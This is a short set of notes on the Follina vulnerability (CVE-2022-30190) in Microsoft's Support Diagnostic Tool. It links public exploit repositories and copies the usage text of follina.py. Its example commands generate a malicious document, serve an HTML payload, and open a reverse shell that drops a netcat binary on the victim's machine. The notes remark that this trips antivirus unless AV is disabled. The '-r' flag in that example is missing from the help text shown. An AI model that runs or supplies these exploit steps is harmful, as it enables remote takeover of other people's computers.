Follina

Notes related to CVE-2022-30190

FOLLINA: CVE-2022-30190

1. Uses Microsoft Support Diagnostic Tool (MSDT)

2. Exploits diagnostic window opened for Diagnosis and when executed properly, gives reverse shell to attacker.

3. Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py

4. Thanks to: (a). @_johnhammond (b). @networkchuck

5. Usage follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)

6. Examples (a). Pop calc.exe: $ python3 follina.py
   [+] copied staging doc /tmp/9mcvbrwo [+] created maldoc ./follina.doc [+] serving html payload on :8000 (b). Pop notepad.exe: $ python3 follina.py -c "notepad" (c). Get a reverse shell on port 9001. Note, this downloads a netcat binary onto the victim and places it in C:\Windows\Tasks. It does not clean up the binary. This will trigger
   antivirus detections unless AV is disabled. $ python3 follina.py -r 9001